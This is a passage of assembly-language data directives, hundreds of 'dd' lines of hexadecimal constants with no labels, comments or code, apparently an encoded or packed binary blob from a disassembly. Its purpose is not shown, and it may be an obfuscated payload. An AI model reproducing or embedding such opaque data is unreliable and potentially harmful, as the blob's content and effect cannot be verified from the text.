59ECC7C6h, 4903D902h, 1E55846h, 0D05D518Bh, 433220A3h dd 0DF509Dh, 0AB6A3105h, 0B3532D3Eh, 749CFE2Fh, 0D9E0975h dd 86762848h, 0B09B3027h, 80CCFD07h, 0A113BD55h, 0AA00A310h dd 96706CEDh, 310CC134h, 6ADF0CA0h, 0EC88EEC4h, 85C86417h dd 0F98881E7h, 42EB0550h, 594468EDh, 852C1875h, 8732CCFDh dd 0BF41F5C4h, 0AF6CD52Fh, 0B62773F1h, 54024C7Eh, 1B1D83B5h dd 7EEEDB03h, 42E500Fh, 0DD74430Ch, 72F4BE51h, 5E1DA283h dd 78051178h, 201921C5h, 0AEF5E5ACh, 256EF808h, 2973FDF0h dd 6800567Ch, 5D02387Fh, 1740D58h, 0F1EB913h, 3F6A4181h dd 405484Bh, 0B50E6069h, 0FFDC57CBh, 57D28B59h, 0E9259396h dd 5D824059h, 0CAC25829h, 9CFDCB27h, 8E1B951h, 5B3B12CCh dd 3384B5B8h, 0EE411221h, 13C37E99h, 12DAAC30h, 14EE866h dd 0D454E501h, 89F1601Eh, 0CA2D0B13h, 43D9208h, 0FA5BF888h dd 93F580B5h, 88EE54D2h, 591F49CCh, 5A024D0Bh, 7ECAA07Bh dd 800F80C7h, 2A297827h, 36135193h, 7475D122h, 0A7E253Ah dd 2CE91254h, 0F31F4E44h, 0C770C1EBh, 65BC0EB7h, 0FE817520h dd 0A36AADFEh, 0E68C271h, 0E5C49B44h, 209FB904h, 0CFFE5C00h dd 544B7868h, 0E6B68230h, 0E9F11688h, 0B94CF097h, 22031614h dd 0FECA31D2h, 0E3A858FCh, 572D2039h, 17DA2503h, 0D0407FD6h dd 7F73554Dh, 5723093Ah, 0F8F83D4Ch, 5B9FCFE6h, 0FCCA1277h dd 2BFE4FC0h, 0D9A35EEDh, 25FC68C2h, 69CCB754h, 0A64A55E9h dd 68CB7Bh, 30EFB450h, 5BE958E1h, 0D052B842h, 9A553DE1h dd 77402722h, 8472ED5Ch, 0CD82CA2Dh, 0E9B4E020h, 48D8AADCh dd 8082A953h, 0DB3A6866h, 0F589274Dh, 5C986D18h, 5EF763C0h dd 542BFA0Eh, 5A93B097h, 7E40F3B5h, 0F58A2D5Bh, 8E055816h dd 5AD015B3h, 0B7E90995h, 9F0AF6CDh, 93FB27CBh, 0CB3DCAACh dd 0BCB9B8Ch, 5845D828h, 2E202AFAh, 0FAF94C4h, 6FA0624Eh dd 83C58C0Fh, 5EEFE980h, 8885F664h, 460F0C2Ch, 345FD12Fh dd 129FBBE2h, 1D6F5C44h, 0C053D3C5h, 72866804h, 5BF34DB9h dd 1798FC87h, 0CFB5418Eh, 97FB58E2h, 0F1024C53h, 429E0620h dd 54FA4256h, 5E845B21h, 971CD02Dh, 0E04AF612h, 8DFA2A1Bh dd 732F8FDCh, 4C94BE8Bh, 29FFDDDh, 99E340Bh, 0C9D968FDh dd 7A513F20h, 7437F686h, 0EE06A2E1h, 0BECEE8FBh, 4A8B09ECh dd 15A31969h, 9B600210h, 53F6EB45h, 0C2714B2Eh, 885C344h dd 0E98F605Eh, 6EBF0A47h, 51A79CAFh, 0AC2F2050h, 29051073h dd 0BC331BB8h, 56091C85h, 0F24E10E8h, 2268125Eh, 72F18C0Fh dd 2EFF5EB8h, 0D629C581h, 5F20E66Bh, 0DF125ACh, 4B5221Dh dd 653369DEh, 6386C180h, 3F92BC7Bh, 2A6CF00Bh, 0AA283E54h dd 77EEB345h, 590D0D79h, 0BF449C5Fh, 88D6FAF8h, 0F8925FF2h dd 0C3CF665Bh, 27C06809h, 7B207966h, 20239049h, 59974C6Bh dd 0CE571ED9h, 0FE128AD0h, 9B43D2CDh, 7C19FE4Ch, 1702F2EDh dd 0E6E9010Ah, 3BFF784Fh, 0DADF4312h, 0AFE81A2Eh, 0C7E9A2F6h dd 8FE98BB9h, 0C3976E7Ch, 0D5E4EC09h, 89F9F9ECh, 575420D8h dd 0B1A0C90h, 7F75B424h, 0FCBCD713h, 5997A64Ah, 0CE98275h dd 0D1675D31h, 1851263Fh, 782C6884h, 0C15D37AEh, 2E133A43h dd 69F7AF2Ch, 425D1F60h, 13D07713h, 0A5E925h, 0E268524Ah dd 176C1602h, 0AB5005Ah, 0F796520h, 0EA3B822Eh, 8741E0A7h dd 8AE24075h, 895AE00Bh, 0DC65DF8h, 381B24h, 0D6516389h dd 45A0566Eh, 0B880FABEh, 236F1214h, 7A2026Ah, 0B8FE4B3Dh dd 27657708h, 0B7F8185Fh, 0FF16D623h, 0FC14498Eh, 3D7E2C41h dd 0C9126B7Dh, 5FADB633h, 0C64432EBh, 0D09C3A9h, 0BC11D12h dd 819A7879h, 447C2E2Dh, 0B0EBAC7Bh, 761B6B39h, 0C6329D0Fh dd 0D3B77872h, 0F452CB0Fh, 73E4819Dh, 0C8528F4h, 0C12D4388h dd 3F301793h, 2F70A5D7h, 0B77DCD3Fh, 8815172h, 2C78F952h dd 0B1510185h, 0A3E180B0h, 1760C1CDh, 445BC95h, 0FF405F5Ah dd 5FAC4012h, 4FB90E9Eh, 0C99EBF16h, 7FF5E909h, 41932068h dd 0E06AE027h, 4FC145F6h, 0E2CB80EDh, 95151FBh, 56F86BABh dd 9D02C24Ah, 0E649C8A6h, 27137601h, 4D8E0F30h, 0E9125D6Ch dd 4F51E864h, 0AA4AB4E8h, 9F1D993Ch, 6D25EAF2h, 0BF507978h dd 5D408912h, 127D8EAFh, 33A3AF13h, 34502889h, 4203539Dh dd 0A7CCB951h, 1077A0Bh, 1028DD3Bh, 947F2F08h, 0BF570465h dd 90D412CEh, 9B2611D1h, 0EF031676h, 25FE1F8Bh, 771EAAE9h dd 8429A4A2h, 951CCEDDh, 12749CD5h, 0AA72A3E9h, 702C2DB4h dd 4EC48421h, 0B803A9EEh, 3F800D71h, 701E8C1h, 4191BE56h dd 288E1EB3h, 0BE133AC7h, 3DD679A7h, 273F4126h, 823E577Dh dd 1C42D23h, 746DD025h, 0F0DF7235h, 11430BBAh, 935E16FBh dd 0E662756Bh, 38FC98DFh, 0C3DBA0C1h, 0A240831Ah, 6F2678B2h dd 8B397CC7h, 82E20963h, 0FD8859EAh, 28D161A0h, 4B1A0F15h dd 7507D3F7h, 7097563h, 56B0D8E9h, 522762CCh, 4E1CBC0Ah dd 1AB2617h, 0FE8A9D75h, 0F0EB148Bh, 48B2D5CEh, 9B305E76h dd 0F473AD8h, 37CA2F8Fh, 8568636Ah, 544EA668h, 0CD2C7021h dd 49E9F774h, 5C2C842Dh, 0FC303C9h, 68B1C0B7h, 5E6720B2h dd 0BA016CBEh, 1E136ABDh, 0B54E1A20h, 0F0904896h, 180A267Ah dd 95DA015Fh, 0E91F050Eh, 0B204FD2Fh, 0DDE5804Fh, 42072422h dd 6E94CD81h, 0F587067Fh, 52E43870h, 0C7EEE95Eh, 0DF095FACh dd 1A24F6DBh, 0C55475C0h dd 442CC976h, 972D99DDh, 0E321133Bh, 8AB392D0h, 0B1A4E9C5h dd 81563EB6h, 48484EBh, 0A42F70BFh, 4F39C2C3h, 0C338AE20h dd 7424468Bh, 0AF54E43Eh, 6809F4BDh, 5AF93893h, 6064D380h dd 5EDCE929h, 9459B842h, 0FAC40380h, 0C268845Dh, 0FAE7EC2Ch dd 297A2F2Ah, 2DD8E8C8h, 7B750AA2h, 0EF5E0DE1h, 0B9856058h dd 0FD975D76h, 6F27481Ch, 8C859A76h, 1CB71043h, 5628B004h dd 0F1AB04F8h, 67614F9h, 171B31C7h, 810802B6h, 0CE0F0DCBh dd 6E563FDh, 0AD2B0EC6h, 5D95A6D3h, 31BD9B20h, 76B06A34h dd 0D30F530h, 0C0A1F4E9h, 2BE83520h, 0BB71C7Eh, 2F00F722h dd 0EBD3CE16h, 7D25A4BCh, 534FFD94h, 0E99898AAh, 0F17E85Ah dd 0D6C403FDh, 0BE0C1618h, 170F0DD0h, 0CAF3EB8Dh, 18C04A15h dd 301FD0B9h, 17902CA7h, 6E482735h, 41060F43h, 0D8E8D7F0h dd 621916h, 5698F1B6h, 0DF92AB23h, 0EFD14703h, 170D8068h dd 0EE4B639Fh, 0CC4EFB8Bh, 7A25E934h, 40BEB47Bh, 492D6883h dd 526ADC45h, 7A8D154h, 0B00C9D3h, 531910AFh, 0C7429D29h dd 0C8D6080Bh, 0BA7C7107h, 0A39768FBh, 0E3CBBF0Ah, 263225B9h dd 1BD10449h, 0C7EA656Ch, 0C39FB2B1h, 9561BCFFh, 1015652h dd 0E9D918DCh, 38348534h, 2B6216CDh, 9D88A82Ch, 69E68944h dd 2B6ECBFh, 33F3B7EBh, 0AE3B10C0h, 16ABDD95h, 0D7DCE1B0h dd 745EC092h, 79C81291h, 0CBC2219Dh, 0C1264873h, 0CF586C89h dd 3D3E2669h, 95966863h, 6AC440ACh, 0C4D6E808h, 86C80C32h dd 1E05E250h, 39C2292Bh, 2B680850h, 9D7346h, 36F423D8h dd 7794FA01h, 0AAA08596h, 0C75295BBh, 0DC7E0798h, 0F7433A00h dd 66DE35D8h, 0E9260922h, 62A26BB1h, 0AB772DE8h, 0CCC6D582h dd 370765BDh, 0FD828B6Dh, 0B6E4FB90h, 80666B0Bh, 56CA6273h dd 0BD13A03h, 0FBE0C82h, 535104D6h, 0D0B0E942h, 0F7EF972Ah dd 0F42DC42Bh, 0CEC2605h, 0EF3D286Bh, 3D052739h, 0C2FDAF08h dd 0BAD1C34Eh, 31206874h, 0BE584BC5h, 0B488E480h, 4C9095F1h dd 0E980D91Ah, 0E6524A54h, 799B1404h, 64658459h, 68A470BFh dd 339C6C4Eh, 67908463h, 9287BC49h, 0E37416B7h, 0D006ABADh dd 9F1FFCF9h, 49C48148h, 121C643Eh, 0CDA4E5A5h, 224800F9h dd 78E7053Ah, 0E92535EFh, 0ECAD6212h, 0D5C70502h, 14C8234h dd 0B02D7A8Bh, 0A0263119h, 54C0081Ch, 77DE3CFAh, 376C0335h dd 7E0D40F9h, 3F464391h, 5542511Fh, 0D79541CBh, 2F596861h dd 5FBA60EEh, 7C59D468h, 81488403h, 14AC5898h, 0F607B064h dd 0BB565527h, 19780259h, 6B21358Bh, 6B5BDE29h, 7BC2F0C1h dd 4A5B7DC2h, 0D0EF880Bh, 0C05914CEh, 0AC10FEE4h, 7A5D24A9h dd 0B4C10534h, 0BB0557B6h, 97AEC694h, 0A12BD56Bh, 3AFAD533h dd 9FB5117h, 0F2D5253Dh, 49C50969h, 6E120186h, 5BF20809h dd 5F924534h, 3AE0E805h, 6FF7CC20h, 0F950C5BEh, 852F4BAh dd 592011B0h, 54585846h, 86F1682Dh, 0EBF414B7h, 0EC8AF12h dd 93B0A155h, 87E18A7h, 0A95E3F42h, 0E672DDA7h, 87BA4B4Ah dd 0FA6851DAh, 4622326h, 0ADE961B1h, 0EFF712BAh, 0E912F39Ah dd 5F5406Fh, 5C895B45h, 7831FBAh, 9AF4AFE5h, 3C9BBC9Fh dd 809D0EF4h, 0C46E8ECCh, 0E9E528C1h, 5FF23468h, 0D490F1B8h dd 0B612C773h, 0E0FF38F8h, 0A65F2247h, 0F38C54BBh, 1DB54010h dd 64CB515Dh, 0E1D1A050h, 96557268h, 0A565C869h, 201A9655h dd 0BA90209Eh, 117C99Dh, 50FA66DAh, 0A157A058h, 0B6C3F19Eh dd 2EE9EA10h, 44B9308Ah, 36470104h, 0F2F94EF7h, 96859A7h dd 395E5605h, 0A9003DACh, 0E9764661h, 1BBAE18Eh, 89658210h dd 9E212F7Bh, 75529BD6h, 2B6F1ED2h, 0EE8180F5h, 12574741h dd 10FE0111h, 0C64808A5h, 240F705h, 80AC52h, 0DC58145h dd 9057C26Eh, 0E7D29748h, 0E9CE010Bh, 258C609h, 0D6505EB8h dd 6441296Bh, 78802EB3h, 950F1268h, 59A19F18h, 28025582h dd 23A4E882h, 4DF9BB54h, 3EE3FBB5h, 0FB5E9F49h, 0CC3A5C29h dd 0F126F69Eh, 0CC12FC66h, 61BB9585h, 742CE407h, 5271D04h dd 25D5620h, 9FE3991Bh, 0ECE901E0h, 2EA4654Fh, 163792DFh dd 80EE215Bh, 0C1599EDFh, 0DE011725h, 0E904B1A7h, 80146411h dd 8984CD39h, 0FD5085F5h, 1A5A7016h, 63080D0Bh, 720F926Bh dd 3A5125F4h, 5E50C0C6h, 2F039FD7h, 0E9813423h, 0B241CB7Eh dd 819F7829h, 1F95D08h, 88123C6Ch, 0ED7EAC6h, 80D4C0C5h dd 5016E3EEh, 79413CA3h, 4907EE2Bh, 7F0B0B1Ch, 0CBEC2CE6h dd 0A7517901h, 0EA8C0F3Dh, 433BD678h, 0E8778E8Ah, 5827097Ch dd 0CBC293DEh, 9CF60912h, 80D44AC7h, 0F6AB02D4h, 6434CB16h dd 20E02F6Ah, 66DF419Ah, 131D25B3h, 0D400C892h, 164512D8h dd 6B34B48h, 7578428Ch, 5E03A2B2h, 0E79039h, 21EABE56h dd 481769Dh, 0D2778CCEh, 0B625BF31h, 0ED3C01A1h, 570A9F72h dd 2996A2Eh, 3B586AF8h, 1FC7CA80h, 0D11671C9h, 0DE2141E9h dd 0A7741062h, 55C8F8F3h, 24896754h, 0B296530Ah, 68BA5203h dd 0CC460F49h, 0A153B8EFh, 0C3354C29h, 40E30730h, 0F134BB7h dd 24523E8Ah, 93C6C2A9h, 0CF5BC55Eh, 7C100BBEh, 0A1FC68DDh dd 41223256h, 0A2DF6A2Ch, 0E6DBF7BBh, 0C6892469h, 7A431F92h dd 0FDDD2BB2h, 93EE340h, 3A14F32Ch, 705F9B17h, 7C33E207h dd 188B7759h, 902641DCh, 0B335123Fh, 0CE9F480Ah, 0D7EF8389h dd 116BC1D9h, 0F9C07617h, 0E7810572h, 0E8E937B9h, 1B981672h dd 0DBC028BFh, 1ADD615Ah, 0B152AE3Bh, 0FD8AC2BFh, 266624C0h dd 0CB6576BFh, 507F25F0h, 24DF9449h, 0AC24FC4Eh, 2AE23203h dd 0E3515FCDh, 5BDFC4E7h, 0E90955A3h, 1CFDAEC7h, 69681293h dd 1E4FA358h, 2DEE1DFDh, 7E9E802h, 0F65C4482h, 980A7546h dd 507C75F9h, 4112BBAEh, 6E602524h, 0BF4BADCEh, 4A56693Ch dd 74E0DD55h, 53439360h, 46E55873h, 2D231A0Bh, 8D6D82Ah dd 5E173ED3h, 684488FBh, 0D1BE11EAh, 204E26Eh, 1EA17F27h dd 885F1007h, 9EC46C2h, 1A5D4B43h, 9FAA6BE4h, 0ED800294h dd 30D4D34h, 0E9DE2905h, 260139E7h, 2058FDBBh, 0EB30316Ch dd 25CB5A4Ah, 0FDAA012Fh, 400FD75Eh, 28A10783h, 0D339F07Fh dd 0C0D8AF5Ah, 2C19266Ch, 247456CDh, 5F0820BEh, 9C4CF58h dd 0DBDBEDE9h, 2E2A497h, 117E6C2Ah, 43296175h, 0E307633Ch dd 2C0464E7h, 0FB5E9FCCh, 91ED2FD4h, 59E5EB02h, 6AFD6C2Fh dd 5E08052Ch, 0A85F34A3h, 0B4384CEFh, 35045413h, 0F7D210F5h dd 9CC5DF7h, 8415F39Fh, 0FA92B0E9h, 0D8D2F4A6h, 0C448EC85h dd 5059C01Ah, 0BE401168h, 0E95541A0h, 4B006F8Bh, 0C5E6EB9h dd 28B4A07Bh, 0C2680408h, 0BDC678E9h, 41E739BBh, 5694CA42h dd 657D25AAh, 5C21A77Ch, 230EFE9h, 46E4FF5Eh, 474BE1F6h dd 1872D661h, 42708C6Eh, 9CE2AB5Ah, 33D6FE27h, 7DE03E13h dd 69482568h, 5D130545h, 0C1DBFD0Fh, 0D1F711F1h, 0D0D6F56Bh dd 472FC5ACh, 0F80754FCh, 0F7820FC0h, 0C2DFA0A9h, 0FBE640E7h dd 7D7C821Ch, 9F76E970h, 17682075h, 7572D746h, 41391305h dd 12DB8464h, 85F00C07h, 0DF02C12Fh, 294FED7Fh, 7D1CE1F9h dd 68EBD100h, 0D20AE224h, 0DC3775C0h, 6C40BD15h, 0B8005051h dd 368401CAh, 30C2225h, 830F2BF0h, 624A7C56h, 8DAA62BBh dd 80167CD0h, 0E821A4C3h, 0A3042E21h, 308B44EDh, 0D2C410BDh dd 0B7488215h, 52168DCEh, 65F103EBh, 0AA54133Ah, 0A94AD6CEh dd 0C573D59Eh, 85A65AD6h dd 3B179810h, 8B3D2F53h, 9DED9AAh, 94FFA3B0h, 0AAE92450h dd 6BF0ADABh, 3FEFC276h, 0EB4A7ECEh, 4444D324h, 0FCFA5BDAh dd 8FB8A595h, 16FA139Eh, 0C82805E3h, 0D9BBB42Ch, 0E1DC7754h dd 4234B3A1h, 57020459h, 0E2A9D4EAh, 41D44DE9h, 2DEA0916h dd 0D274209Ah, 89A8F617h, 45CD308h, 0CC5FB168h, 2BE1BB2Bh dd 0BA937DF6h, 57165652h, 0E91209EDh, 0BD5740DEh, 0DDC6672h dd 0AF4DB4F4h, 0B3F55B79h, 93F5E22Eh, 3FD77DFBh, 0E90CAACEh dd 59520EFCh, 54D969Fh, 0DA6BC3BDh, 5DA38026h, 150D592Ah dd 365ADDE9h, 4E28F26Bh, 13668EBEh, 2B520DE3h, 559920AFh dd 0F62EC4FEh, 4F0846DCh, 0D40B3C05h, 52F85FE9h, 2E7C002h dd 41AFF780h, 0E054FF2h, 0C369597Ah, 8C40D175h, 0D04543BEh dd 8B8D243Fh, 57A08088h, 8A758014h, 985C30F1h, 0FC330997h dd 15B7C275h, 0A66F1C11h, 43F25E9Ah, 7103E982h, 3F88755Eh dd 885C1747h, 4E5E5FEBh, 0DCE91C61h, 775AE37Ch, 0EDE0D20Bh dd 0D461746Ah, 25A3CF5h, 5A66D028h, 63EFE53h, 12D78844h dd 0D6730098h, 0ACDBC724h, 0CD3F5119h, 0AC3A3871h, 0DBF05A98h dd 3B9F9859h, 977055E9h, 0BDC2A7DCh, 43B455E1h, 97BDA97h dd 0C04B30D3h, 0F4310AF4h, 0D53AD610h, 421587A2h, 9852CEFh dd 3A08E122h, 7BAF3DABh, 0FD396AFDh, 459EA13h, 0AAA2D311h dd 0D0A1BCBCh, 0D61E0530h, 5E7E5D41h, 3FF1860Fh, 4AB29124h dd 0DAD8BF5Ch, 24F709EDh, 435A7C73h, 6C300883h, 7F685534h dd 86C69722h, 4E0962F2h, 7D5A163Eh, 35C0E480h, 69981236h dd 5FE1DD27h, 1CB4D596h, 5D4F4704h, 73D8E01h, 0E1D46B0Bh dd 71100812h, 8FE90914h, 6BE7DC30h, 342FC77Fh, 0B98BFE6Ah dd 5F92111h, 5EB46856h, 0C17AC68Bh, 902B2A32h, 269C9808h dd 5B33E90Dh, 0E8C7D14Ch, 42AE3A5Dh, 436B68E3h, 649C1864h dd 57495F1Fh, 79F524h, 77E64389h, 0E7F638ECh, 20E4164Bh dd 5E0B40DBh, 9449F7F8h, 0F8EB1215h, 0A7F3E956h, 0CD66E90Bh dd 7F8FC67Fh, 4B909E9Dh, 5A9740D8h, 965EFEF8h, 0BF9A2D09h dd 635AAA7Eh, 0E126F892h, 2720903Bh, 12F4A6EEh, 0EEC3F2DAh dd 2D1692EEh, 15C66C49h, 0BE26FC20h, 0A77743FDh, 0B1F3AB2Ch dd 3E2AC501h, 43243278h, 5B08A1EDh, 2E13E16Fh, 0B200ED1h dd 4D3F5F03h, 1ABCCAC1h, 5EC71410h, 0C25BECE6h, 0DC5726BFh dd 2210C454h, 81BBA020h, 3A6D0FCBh, 8E3F1FD5h, 64F3DC25h dd 2E857112h, 898F68EFh, 0D099ED69h, 0E59EBDB0h, 7573E918h dd 0AFB8C8h, 0D32D04Fh, 44793B55h, 2B4F1598h, 0BC7085D3h dd 0F84F8CA3h, 2545582Eh, 4E82FFCAh, 0B1A963A5h, 0DD693DFCh dd 0E5AD8AF3h, 0BB91341Ah, 45826791h, 0BFAA7789h, 0B344197Fh dd 0C5E3907Fh, 702D721Fh, 4C0BF235h, 607636C7h, 7FC60C5Bh dd 0FCF95C69h, 1A09CB1Fh, 0F7FD898Eh, 0CDFE95E6h, 587D9200h dd 0B850453Dh, 0B57809B6h, 0C582214Bh, 9FDA2B56h, 0A04B72BDh dd 0C31F6A92h, 5AC66888h, 0EFA6AD10h, 257551Fh, 5C6E4EF8h dd 9D045C57h, 0A02D935Ah, 8012B08Fh, 0DFA8C128h, 1F44D710h dd 0C90048B1h, 9F8F0F42h, 0F05BC46Ch, 8261ABBDh, 590240FCh dd 67549289h, 0EA323B27h, 1B854B1h, 2BE4BFB9h, 0DFE42BD1h dd 2705FED6h, 6E77FF32h, 1B8F2FC4h, 8CD2E74h, 0AD29AF2Bh dd 0E9C3A928h, 384F1250h, 4A938BBAh, 0F28E3AF9h, 8A0F2C38h dd 0DA1512Ch, 0D1671C89h, 0C7690C6Eh, 5B5FDDACh, 0AAB48AF8h dd 688283A8h, 48541E10h, 7D767E62h, 0EC4A3614h, 70E3ED17h dd 813E1C26h, 0B0C2CAEBh, 0C11A20D4h, 43123013h, 8408EEDh dd 95FF955Bh, 0B0E90B3Ch, 58BFD278h, 0A0B7810Dh, 1DFBE00h dd 77046E25h, 3FA0674Ch, 332502BFh, 6296750Dh, 13A0C8BCh dd 39245758h, 43277C31h, 14FFE5Eh, 8305E7C1h, 0E90B75EFh dd 0BE7F30D7h, 248FA591h, 676D469Bh, 5EAD7614h, 5172093Dh dd 0ED561C04h, 0C7FFD2B7h, 0AD48E5D4h, 5E0E050Bh, 0CBC20841h dd 7F624A7Eh, 0EEE582D9h, 0EE4E38BCh, 2D538365h, 0E1A173B8h dd 54E62E62h, 0B5A29B2Ah, 92BE655Bh, 4F845BF5h, 36A23B84h dd 76C51251h, 50014FF0h, 12C5B2D5h, 0A05E690Ah, 0C767AF95h dd 3873CB31h, 0E3FB846Dh, 4C215ED9h, 0D12E704Eh, 1033D096h dd 3149C7EBh, 0E60C2277h, 888C4270h, 0F6F8A68Bh, 7506F9Fh dd 0B7401E9h, 0BD40C555h, 0BBDE9558h, 91DD52AFh, 0BF2B5A9Ah dd 133C4F26h, 3232A3E9h, 5B5F5DD5h, 66574BA4h, 46AE2D62h dd 28473279h, 68590248h, 96531E3Fh, 16EBBC88h, 5B5E0143h dd 0F175B536h, 0D7A2DA3Eh, 711A44FDh, 0C0C649EEh, 359B220h dd 0A791AB9h, 47C0BA05h, 5F98653Ah, 4110E917h, 0C1015046h dd 397ABFCEh, 324F26FCh, 0FD89EA72h, 43CF7461h, 0B6E5EFE9h dd 77417F60h, 0D63AB27Fh, 0BD8A8CEEh, 688DDFB4h, 0FB3A6AA5h dd 0F8014E71h, 0EC3028C9h, 0B4AFB212h, 2509C93Dh, 775AECDEh dd 312D6205h, 516C586h, 0B353C1D0h, 0DD882E10h, 0BB6445BFh dd 0F62AE1C9h, 15374C7Eh, 16C1FAFBh, 77D916C2h, 3B9C03Bh dd 0D1B0298Fh, 6A7F9202h, 0E0F7455Dh, 1218E57Eh, 0A040091Ah dd 244105ABh, 7795CC42h, 0FFB4F91Eh, 0CB2BFDC9h, 0D02780CCh dd 0CFF1F461h, 83E8E3F6h, 856D60E9h, 9E7DF2EEh, 6B1C240h dd 29E97F8Dh, 0AFB52FD3h, 428B0354h, 409C2738h, 7F80D29h dd 1FBCBF5h, 3B68501Ah, 6E2BBA32h, 4F8508FDh, 0BA7464E5h dd 0CB551FCh, 0F0B6782h, 9C703A5Bh, 346B753h, 0F12E780h dd 7F4FA389h, 545D28FFh, 0EBAA209Fh, 37F8E76h, 0BE56505Eh dd 74FB6E52h, 129EF6F8h, 0F137302h, 7619EB88h, 8D0BBC3Ch dd 0A82266DFh, 0A8DDF6C6h, 0F309DD0Fh, 503AD60Ah, 0D8A8219Ah dd 15C4703Ch, 800E75A2h, 18D182D6h, 250EB9F7h, 2A53396Bh dd 906837C0h, 624EB671h, 5D0B1E9Fh, 5A4C730h, 2A685C80h dd 0B5194861h, 0A09046h, 85060243h, 3EBBE901h, 89A72DA9h dd 0F24B3376h, 4A7798E1h, 0F56CC04h, 0EFFB7260h, 0A1AE172Ah dd 7ACAF1h, 53A6BAEFh, 0FE9D42FFh, 0D5E2016Eh, 2071FB74h dd 4F13E334h, 13BE1488h, 5EDC0198h, 2FF07FE9h, 0C2F624AEh dd 0F5095910h, 0FB006189h, 42F1DFD6h, 0A7ED095Bh, 4CFCAC92h dd 0BFB10147h, 0C5316F93h, 0AD6F1B71h, 22914182h, 0E2F0D349h dd 796C9CA8h, 3D8C8244h, 89285547h, 1DEB824Eh, 59DF0970h dd 26095BF6h, 5F65F5E9h, 933CCCD1h, 91F5F736h, 1F79B82Fh dd 7A49DA01h, 536F7C67h, 681D61E1h, 14E2E7B1h, 67675D3Fh dd 4119B90Ch, 7D0C5010h, 0AC085AFAh, 0ED2B754h, 78CEDAA1h dd 6C1F2561h, 36B641C6h, 250E9B88h, 8309600Fh, 0EDC057C0h dd 532E0878h, 3478410h, 46680468h, 5535BE05h, 3A00A1BAh dd 3A657DEEh, 0A4EE2DFAh, 0FF27C146h, 441637A2h, 5EBDEEDFh dd 0D608B829h, 3D888BBBh, 669DF7E9h, 124D5A68h, 0B1350FC5h dd 0DBF713F0h, 5A02161Ah, 4FF6B51Eh, 38D92109h, 1502E14Eh dd 7A70D668h, 74B95101h, 86125D42h, 0BED1BBE0h, 0CE09596h dd 2C02DBE2h, 2068080Fh, 271CC05h, 602F355Ah, 9D40F209h dd 87801C77h, 59E2EEF9h, 0BC1853ADh, 6B71D553h, 6D074E91h dd 0BDB3D44h, 60B679ADh, 0A5692AEBh, 0C3010614h, 79A00A0h dd 0B1E93C4Eh, 0F2E7A45Bh, 0C6FDC021h, 7410EFCh, 36EE2924h dd 0DBE5D2Ah, 30705758h, 6B680B6Fh, 6E58422Eh, 3CE4D4ADh dd 0D291306h, 4E46C221h dd 4B25D7E4h, 1399EFFFh, 0E912BF32h, 0FEE1C491h, 84E455B1h dd 0C012C015h, 0E8D003E0h, 0A1981CB0h, 1ECF87Fh, 0C241A597h dd 447195BBh, 129882BDh, 5CC578BBh, 893CE92Dh, 0D1BB77F6h dd 525368Ah, 0C0FE8645h, 8B4266B1h, 30E24730h, 0F685756h dd 5FDE384Ch, 0CE325444h, 6E775F0Bh, 598BBD46h, 27F60610h dd 87BEBBC3h, 0C27392FEh, 89D2A7E7h, 514466Bh, 0A41749BDh dd 9945AA02h, 0DBEC5DEEh, 6D5C0A93h, 8878EC54h, 0DEA8E25Bh dd 19162448h, 5428F447h, 15A43112h, 0D87F20F1h, 24BFAB44h dd 21EFC581h, 7BFEF4Fh, 7273F307h, 0C4D7764h, 6D060A54h dd 4571FE0Ch, 6B17394Fh, 70607B29h, 0B3EE5FE1h, 0D4FE974Ch dd 75ADAE88h, 0B530B8F4h, 7E260B09h, 0F3E8FCCh, 1C2FA30Bh dd 0B4A49C6h, 1F0A4126h, 68DD8861h, 0D3D8B4FBh, 7E4341A1h dd 0E8CDD1E1h, 416DFD3Bh, 2FD42F8Dh, 5F1E7C2h, 40C7BF5Bh dd 47F8E595h, 8E9AFA4Ah, 35685904h, 0EA1AD844h, 30FB6313h dd 12A29310h, 0B409369Bh, 8EE82A9Eh, 0F5888609h, 0F60E9858h dd 8FDFB450h, 69EC04D4h, 886881ABh, 30CB2BCAh, 0FDD05A7Fh dd 14BE963Ah, 0A813CEF3h, 0EFC8EB9Bh, 0CC9058BBh, 0D8316400h dd 0F080055Bh, 0DC936B28h, 8627D31Dh, 3090E9C5h, 0E0A88BAh dd 66142D9Ch, 12E84A4h, 8C07E410h, 0B272A655h, 0C677836Eh dd 0CDC0ABB5h, 0FC7A5B29h, 8BAA9664h, 512B5025h, 0B72CEB40h dd 26418DD0h, 281DB13Bh, 0BF57C0EEh, 0FD48098Ah, 0EF38406Eh dd 0AD10BAF9h, 0D39CFDB8h, 60D1B83Ah, 1D36C1BBh, 201F7B8Fh dd 0BE002142h, 92C6DF8h, 12DECE81h, 0A45B7467h, 3F2F84E0h dd 0E3C153CAh, 616015Eh, 4EB42BE9h, 0FBF4029h, 0DE802Fh dd 7A360597h, 2D2E9072h, 8EA21B97h, 0D9C14307h, 108C6947h dd 501DE12h, 5E771A78h, 65FDED93h, 0DF533D6Bh, 6E827253h dd 11F5368h, 655E8EBBh, 4012B61h, 430F5C5Ah, 0D5D5A861h dd 5F20AD8Ch, 5A09F1E5h, 419D275h, 90BF36BAh, 7E6FE1D6h dd 0E952A605h, 8EADD370h, 0F90B4112h, 0F9F6C446h, 8446BCEFh dd 0E9287D43h, 58476261h, 1A3FCB09h, 0F6754A0Ch, 3F29D877h dd 99C3ABC0h, 0BD32F305h, 0C1971F46h, 2FBB4280h, 0FD5E6038h dd 0F0568C42h, 0D4E4BFC2h, 0E09C907h, 0C26F42E4h, 40566ECEh dd 8275DF45h, 2F0EB475h, 737A1C4Ah, 5761A7B1h, 0FA754FE9h dd 0ED2246Ch, 0C1056FD3h, 0ECE1BB5Ch, 0E2EF0804h, 4DD8D241h dd 2C104461h, 1F0262B2h, 5F5B3E05h, 8A38434Fh, 80EDF78Bh dd 91486B13h, 1EF24FFh, 3A61AFE3h, 0EC417A69h, 7DFF6309h dd 0A8316771h, 0FBF9D7DAh, 69E583CFh, 403CB26Ch, 2E2F93F1h dd 406A99h, 24DFFDA3h, 5B59D929h, 0ED83137Ch, 61008CECh dd 0E9324140h, 55826302h, 22FD250Bh, 0E1F201A5h, 0B36E857Dh dd 1A3348CAh, 55E13B05h, 0AE23DD8Fh, 0E397774Fh, 1C2C19FEh dd 0CE186386h, 5CD0C309h, 2B4809E3h, 0A40B0D17h, 5781E21Eh dd 168F036Fh, 0E07427F2h, 0FC7B6717h, 0F2C0D184h, 1CCB630Fh dd 0ADE6D15Ch, 102B95Eh, 4123E94Ch, 526C394Dh, 6F685580h dd 5DFC9344h, 284FEEECh, 13E97670h, 4FA1B15Ch, 